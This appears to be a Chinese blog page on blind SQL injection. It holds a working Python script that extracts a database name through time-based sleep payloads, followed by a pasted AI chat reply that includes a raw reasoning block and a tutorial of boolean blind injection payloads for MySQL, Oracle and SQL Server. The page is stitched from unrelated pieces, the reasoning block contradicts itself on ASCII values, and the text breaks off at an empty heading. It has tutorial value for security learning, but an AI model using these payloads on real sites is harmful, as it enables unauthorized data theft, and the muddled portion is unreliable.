SQL注入代码实践(盲注-获取数据库名长度【字符型】)

该博客介绍了一个Python实现的字符型盲注检测工具。通过替换SQL语句中的特定字符,利用sleep函数延迟响应时间来判断数据库中是否存在目标字符串。工具使用了正则表达式进行字符串匹配,并通过HTTP请求进行注入测试,根据响应时间判断是否存在盲注漏洞。
# -*- coding: utf-8 -*-
"""
@Time : 2022/4/4 16:22
@Auth : zhangxiang
@File :BlindInject_Str.py
@IDE :PyCharm
@Motto:ABC(Always Be Coding)

"""
#字符型盲注取数据库名
from urllib import request
from urllib import parse
import re
import time
import sys
import random
from ua_info import ua_list

class BlindInject_Str(object):
    def __init__(self):
        pass
    def StartInject_Str(self,code,StrList,url,Length):
        for num in range(1, Length+1):
            url = url
            judgeStr = "%20and%20if(substr((select%20database()),changeNum,1)=%27replaceStr%27,sleep(2),1)%23"
            submitStr = "&submit=0x5375626D6974%23"
            pattern1 = r"changeNum"
            replace1 = str(num)
            FisWord = re.sub(pattern1, replace1, judgeStr)
            for x in code:
                Str = x
                word = FisWord + submitStr
                # 正则
                pattern2 = r"replaceStr"
                replace2 = Str
                SeWord = re.sub(pattern2, replace2, word)
                full_url = url + SeWord
                # print(full_url)
                # 2.发请求保存到本地
                headers = {'User-Agent':random.choice(ua_list)}
                startTime = time.time()
                req = request.Request(url=full_url, headers=headers)
                res = request.urlopen(req)
                endTime = time.time()
                allTime = endTime - startTime
                # print(allTime)
                if (allTime > 2):
                    print("*" * 200)
                    StrList.append(x)
                    print("得到盲注结果:" + str(StrList))
                    print("注入的payload:" + full_url)
                    print("使用的时间:" + str(allTime))
                    print("*" * 200)
                else:
                    pass
        return StrList

<think>我们正在讨论SQL注入中的手工技术,特别是如何测试获取数据库名分为基于布尔的和基于时间的,这里我们将重点放在基于布尔的上,因为用户的问题中提到了测试数据库名,并且示例引用中多次出现基于布尔的(如引用[2][3])。 手工测试数据库名的基本思路: 1. 确定注入点:已经通过前期测试确认存在SQL注入漏洞,且是类型(即没有显式的错误回显,但可以通过布尔条件判断)。 2. 获取数据库名长度:通过不断尝试,判断数据库名长度。 3. 逐字符猜解数据库名:通过二分法或逐字符比较,猜解出数据库名的每一个字符。 示例步骤: 步骤1:获取数据库名长度 假设我们有一个注入点,参数为`id`,且为字符型注入(需要闭合单引号)。我们构造如下Payload: `?id=1' and length(database())=1 --+` 这里,`database()`函数返回当前数据库名,`length()`函数返回其长度。我们通过改变等号后面的数字来猜测长度。如果页面返回正常(与真条件相同),则说明长度猜对了;否则,继续尝试其他长度。 步骤2:逐字符猜解数据库名 知道长度后,我们可以用`substring()`或`substr()`函数来逐个提取字符。例如,假设我们猜解出数据库名长度为3,那么我们从第一个字符开始猜解: 第一个字符: `?id=1' and ascii(substring(database(),1,1))>100 --+` 这里,`substring(database(),1,1)`表示截取数据库名的第一个字符,`ascii()`函数将其转换为ASCII码。通过不断调整比较的数值(可以用二分法加快猜解速度),最终确定第一个字符的ASCII码,进而得到字符。 例如,如果>100返回正常,>110返回不正常,那么就在100到110之间继续二分。直到确定具体的ASCII值,然后转换为字符。 接着是第二个字符,将截取位置改为2: `?id=1' and ascii(substring(database(),2,1))>100 --+` 以此类推,直到获取整个数据库名意:不同的数据库系统,函数可能不同。例如,在Oracle中,我们可以使用`substr()`和`ASCII`函数,或者使用`decode`函数(如引用[4]所示)。在Access数据库中,可能没有`limit`(如引用[5]所示)和`information_schema`,所以方法会有所不同。但这里我们以MySQL为例,因为示例引用中多数是MySQL。 示例(基于引用[3]的变形): 假设我们通过测试已经知道当前数据库名长度是8,我们猜解第一个字符: 构造Payload:`?id=1' and ascii(substring((select database()),1,1))>115--+` 如果返回正常,说明第一个字符的ASCII码大于115(即字符't'之后);否则小于等于115。 然后我们继续二分,比如>115为真,则尝试>120,以此类推,直到确定第一个字符的ASCII码为115(即's')?意,这里引用[3]中使用了>115,如果返回正常,则大于115,那么下一个比较可以取115和最大值中间的值,直到确定。 引用[2]中使用了`left`函数,也是类似: `?id=1" and left((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1)>'l' --+` 这里是在猜解表名,但原理相同:取第一个字符,判断是否大于'l'。 因此,我们可以总结手工测试数据库名的基本方法: 1. 判断数据库名长度: `?id=1' and length(database())=[长度] --+` 2. 逐字符猜解(以第i个字符为例): `?id=1' and ascii(substring(database(),i,1))>[ASCII值] --+` 或者使用`left`函数(从左侧取若干字符): `?id=1' and left(database(),i)='已知的前i个字符' --+` 但这种方法在未知的情况下需要枚举,效率较低,所以通常使用二分法逐字符猜解。 另外,也可以使用正则表达式匹配(MySQL中的`regexp`),但手工中二分法逐字符比较是常用且高效的方法。 意事项: - 释符:在MySQL中,我们使用`--+`(+表示空格)或`#`来释掉后面的语句。 - 字符串引号:注入点的闭合,可能是单引号、双引号或括号等。 - 数据库差异:不同数据库的函数和系统表不同,需要根据目标数据库调整。 下面给出一个完整的示例(假设目标数据库是MySQL,且当前数据库名为'security'): 步骤1:猜长度 尝试:`?id=1' and length(database())=8 --+` 返回正常(因为'security'长度为8) 步骤2:猜第一个字符 首先,用二分法确定第一个字符的ASCII码范围(97-122为小写字母,但实际可能包含其他字符,所以范围一般是32-126) 构造:`?id=1' and ascii(substring(database(),1,1))>100 --+` 返回正常(真) 然后:`>115` 返回正常(真) `>118` 返回不正常(假) 那么范围在115到118之间(不包括118,因为>118为假,说明小于等于118) 再试:`>116` 返回正常(真) -> 大于116 然后:`>117` 返回不正常(假) -> 小于等于117 所以第一个字符的ASCII码为117,即字母'u'? 不对,因为大于116且小于等于117,所以是117。但是's'的ASCII是115,而'security'的第一个字符是's'。所以这里我们重新检查:实际上,我们应该是先猜大于115,返回真(即大于115),然后猜大于118返回假,说明在115到118之间(不包括118,因为大于118假,说明小于等于118)。然后我们猜大于116:真,说明大于116;再猜大于117:假,说明小于等于117。所以只能是117。但是117对应的是'u',而实际数据库名是'security',第一个字符是's'(115)。所以这里可能我们的示例有误,或者实际测试的数据库名不同。 为了避免混淆,我们重新以'security'为例: 第一个字符是's'(ASCII=115) 我们构造:`?id=1' and ascii(substring(database(),1,1))>115 --+` 返回假(因为115不大于115,所以条件为假,页面返回异常) 然后:`>114` 返回真(因为115>114,所以页面正常) 所以第一个字符的ASCII码大于114,且不大于115(因为>115为假),所以就是115。 因此,第一个字符是's'。 步骤3:猜第二个字符 第二个字符是'e'(ASCII=101) 构造:`?id=1' and ascii(substring(database(),2,1))>100 --+` 返回真(101>100) 继续:`>101` 返回假(101>101为假) 所以:`=101`,即字符'e' 以此类推,直到8个字符全部猜出。 意:实际手工过程非常耗时,通常需要借助工具(如Burp Suite的Intruder)自动化猜解。 引用说明: [^1]:介绍了SQLmap工具,但手工是理解原理的基础。 [^2]:展示了使用left函数进行布尔。 [^3]:展示了使用substring和ascii函数进行布尔。 [^4]:提到了Oracle数据库的decode函数可用于。 [^5]:展示了Access数据库的联合查询,但方法不同。 根据以上分析,我们回答用户的问题。 用户问题:请问SQL注入 手工 测试数据库名 方法 示例 回答如下:</think>### SQL注入手工测试数据库名方法与示例 手工是在无显式错误回显时,通过观察页面响应差异(布尔状态或时间延迟)逐步推断数据库信息的技术。以下是基于布尔测试数据库名的详细方法和示例: --- ### **一、核心步骤** 1. **确定注入点与类型** - 测试参数是否存在布尔响应差异(如 `?id=1' and 1=1 --+` 正常,`and 1=2 --+` 异常)。 - 确认数据库类型(如 MySQL、Oracle 等),不同数据库函数不同。 2. **获取数据库名长度** ```sql ?id=1' and length(database())=N --+ -- 通过修改N测试长度 ``` - 示例:若 `N=8` 时页面正常,其他值异常,则数据库名长度为 8。 3. **逐字符猜解数据库名** 使用 `substring()` 或 `substr()` 逐位猜解 ASCII 值: ```sql ?id=1' and ascii(substring(database(),1,1))>N --+ -- 猜第1位字符 ``` - 通过二分法(如 `>97` → 正常则范围 97~122,异常则 0~96)缩小字符 ASCII 值范围。 - 重复直至确定所有字符。 --- ### **二、不同数据库的示例** #### **1. MySQL 数据库** - **猜解长度**: ```sql ?id=1' and length(database())=8 --+ -- 测试长度是否为8 ``` - **猜解字符**(以第 1 位为例): ```sql ?id=1' and ascii(substring(database(),1,1))>100 --+ -- 是否大于 'd' (ASCII=100) ?id=1' and ascii(substring(database(),1,1))=115 --+ -- 是否等于 's' (ASCII=115) [^3] ``` #### **2. Oracle 数据库** - 使用 `substr()` 和 `decode()` 函数: ```sql ?id=1' and decode(ascii(substr((SELECT global_name FROM global_name),1,1)),115,1,0)=1 --+ -- 判断第1位是否为 's' (115) [^4] ``` #### **3. Microsoft SQL Server** - 使用 `substring()` 和 `UNICODE`: ```sql ?id=1' and UNICODE(substring(db_name(),1,1))>100 --+ ``` --- ### **三、完整示例流程** 假设目标为 MySQL数据库名长度为 3: 1. **猜第 1 位字符**: ```sql ?id=1' and ascii(substring(database(),1,1))>100 --+ -- 返回正常(>100) ?id=1' and ascii(substring(database(),1,1))>110 --+ -- 返回异常(<=110) ?id=1' and ascii(substring(database(),1,1))=105 --+ -- 返回正常,确定为 'i' (105) ``` 2. **猜第 2 位**: ```sql ?id=1' and ascii(substring(database(),2,1))>115 --+ -- 返回异常(<=115) ?id=1' and ascii(substring(database(),2,1))=112 --+ -- 返回正常,确定为 'p' (112) ``` 3. **猜第 3 位**: ```sql ?id=1' and ascii(substring(database(),3,1))>110 --+ -- 返回正常(>110) ?id=1' and ascii(substring(database(),3,1))=116 --+ -- 返回正常,确定为 't' (116) ``` **结果**:数据库名为 `ipt`。 --- ### **四、意事项** 1. **闭合符号**:根据注入点调整引号闭合(如 `'`、`"` 或无引号)。 2. **二分法优化**:每次将 ASCII 范围折半(如 0~127 → 0~64 或 65~127),减少请求次数。 3. **工具辅助**:可结合 Burp Suite Intruder 自动化猜解过程。 4. **特殊数据库**: - Access 无 `limit`,需用 `TOP` 和子查询 [^5]。 - Oracle 需指定系统表(如 `global_name`)。 --- ### **
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值